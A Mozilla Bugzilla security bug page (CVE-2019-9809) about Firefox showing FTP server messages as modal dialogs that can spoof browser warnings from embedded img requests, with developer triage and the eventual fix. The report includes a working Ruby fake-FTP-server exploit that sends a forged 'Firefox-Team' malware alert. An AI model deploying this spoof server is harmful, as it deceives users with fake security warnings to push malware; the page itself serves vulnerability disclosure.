Closed Bug 1282430 (CVE-2019-9809) Opened 9 years ago Closed 6 years ago

cross-domain 'alert-style' modal dialog spoof using ftp even from e.g. img requests in web forums or the like

Categories

(Core Graveyard :: Networking: FTP, defect, P3)

defect

Tracking

(firefox66 fixed, firefox67 fixed)

RESOLVED FIXED
mozilla67
Tracking Status
firefox66 --- fixed
firefox67 --- fixed

People

(Reporter: schattendeatroth, Assigned: Gijs)

References

Details

(Keywords: csectype-spoof, sec-low, Whiteboard: [necko-backlog][adv-main66+])

Attachments

(2 files)

Attached file exploit.rb
User Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/50.0.2661.102 Chrome/50.0.2661.102 Safari/537.36 Steps to reproduce: tested with (system base): windows, linux tested with (version): mozilla firefox 43.0.2, 47.0 proof of concept: 1. (browser) open a ftp connection using ftp-link on img-tag or anything: <img src='ftp://username:password@server/test.png'> 2. (browser) send wrong login credentials. 3. (server) 4. (server) break connection by server side and send a fake message. screenshot: http://fs5.directupload.net/images/160105/u7mlcf54.jpg test-exploit (ruby): require 'timeout' require 'socket' #---conf--- addr='127.0.0.1' #serverip port=21 #serverport $sleeper=0.3 #wait before broke connection $threads=30 #concurrent connections $killcom='k1llm3' #kill server by command $msgbox="ACHTUNG: Diese Website enth\xE4lt Malware!\x0A\x0ASelbst wenn der Besuch dieser Website bisher sicher war,\x0Abesteht nun die Gefahr, dass Sie Ihren Computer mit Malware\x0Ainfizieren\x0A\x0A***Malware ist Schadsoftware, die unter anderem zu\x0AIdentit\xE4tsdiebstahl, finanziellen Verlusten und zum dauerhaften\x0AL\xF6schen von Dateien f\xFChren kann.***\x0A\x0ABITTE VERLASSEN SIE DIESE WEBSITE UMGEHEND!\x0A\x0A*---Ihr Mozilla Firefox-Team" #---------- $msga="220 Speak friend, and enter\r\n"; $msgb="331 FTP login okay, send password.\r\n"; $server=TCPServer.open(addr, port) def main(client) while 1 sleep 0.000001 while client=='x' sleep 0.000001; client=$server.accept; puts "("+Time.at(Time.now.to_i).to_s+") "+client.peeraddr[3] end begin complete_results=Timeout.timeout(5) do sleep $sleeper; client.send($msga, 0); linei=0 while line=client.gets if line==$killcom+"\r\n" or line==$killcom+"\n" exit end sleep 0.000001 client.send($msgb+$msgbox+"\r\n", 0); sleep $sleeper; client.close; client='x'; break end end rescue Timeout::Error end end end i=1 while i<$threads Thread.new{main('x')} i+=1 end Thread.new{main('x')}.join Actual results: screenshot: http://fs5.directupload.net/images/160105/u7mlcf54.jpg by using this exploit/this way: firefox will not say what kind of error show this message. the user only see a message directly from firefox. attackers can foist this object each where include img-tags or anything like forums, blog-comments, etc... Expected results: it's a fine way to spreading trojans and spoofing security messages on friendly websites.
Group: firefox-core-security → core-security
Status: UNCONFIRMED → NEW
Component: Untriaged → Networking: FTP
Ever confirmed: true
Product: Firefox → Core
Summary: popup/message spoof (using ftp popup's) → cross-domain 'alert-style' modal dialog spoof using ftp even from e.g. img requests in web forums or the like
Reproducible in 50 as well.
Hey look, more fodder for ripping FTP out of the tree! Jason, care to find someone to take a look at this? (:bagder seems a good candidate, seeing as how he's already played with it a bit!)
Flags: needinfo?(jduell.mcbugs)
Whiteboard: [necko-active]
Group: core-security → network-core-security
I suppose what we should discuss is what the correct behavior would be here, and in the mean time I offer this minimal patch that just removes the server's error message from the popup window and puts a generic fixed string there. I realize that is not what we want in a proper fix. I also think this is an edge case that we might not want to waste a whole lot of time and efforts on...
Could we just never show alerts for child resources / non-document loads? From a quick look at MDN and FTPChannelChild (keeping in mind I'm not actually familiar with netwerk code or our channel/loadgroup infra in too much detail) it seems like we could check whether we're our load group's defaultloadrequest and just do nothing if we're not? Or check if we're fully same origin with the default load request, or something?
Group: network-core-security
Comment on attachment 8765921 [details] [diff] [review] 0001-bug-1282430-do-not-show-FTP-server-message-in-error-.patch Review of attachment 8765921 [details] [diff] [review]: ----------------------------------------------------------------- This patch is only e10s, and the bug is reported on non-e10s, so this can't be a complete fix. I don't want to spend lots of time on a sec-low FTP bug, but my gut says that something like this patch would be good, but for both non/e10s and only for subresources (i.e. not if loadFlags & LOAD_DOCUMENT_URI). Daniel, if you're interested go ahead and take this bug. If not, stick it in [necko-backlog]
Flags: needinfo?(jduell.mcbugs) → needinfo?(daniel)
Attachment #8765921 - Flags: feedback+
Maybe one step towards deprecating FTP slowly would be to stop accepting it for other things than top level pages? Anyway, as I'm PTO'ing now for a few weeks ahead I'm backlogging it.
Flags: needinfo?(daniel)
Whiteboard: [necko-active] → [necko-backlog]
Priority: -- → P1
Priority: P1 → P3

Fixed by bug 1523249.

Assignee: nobody → gijskruitbosch+bugs
Blocks: 1523249
Status: NEW → RESOLVED
Closed: 6 years ago
Resolution: --- → FIXED
Target Milestone: --- → mozilla67
Whiteboard: [necko-backlog] → [necko-backlog][adv-main66+]
Alias: CVE-2019-9809
Product: Core → Core Graveyard
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Created:
Updated:
Size: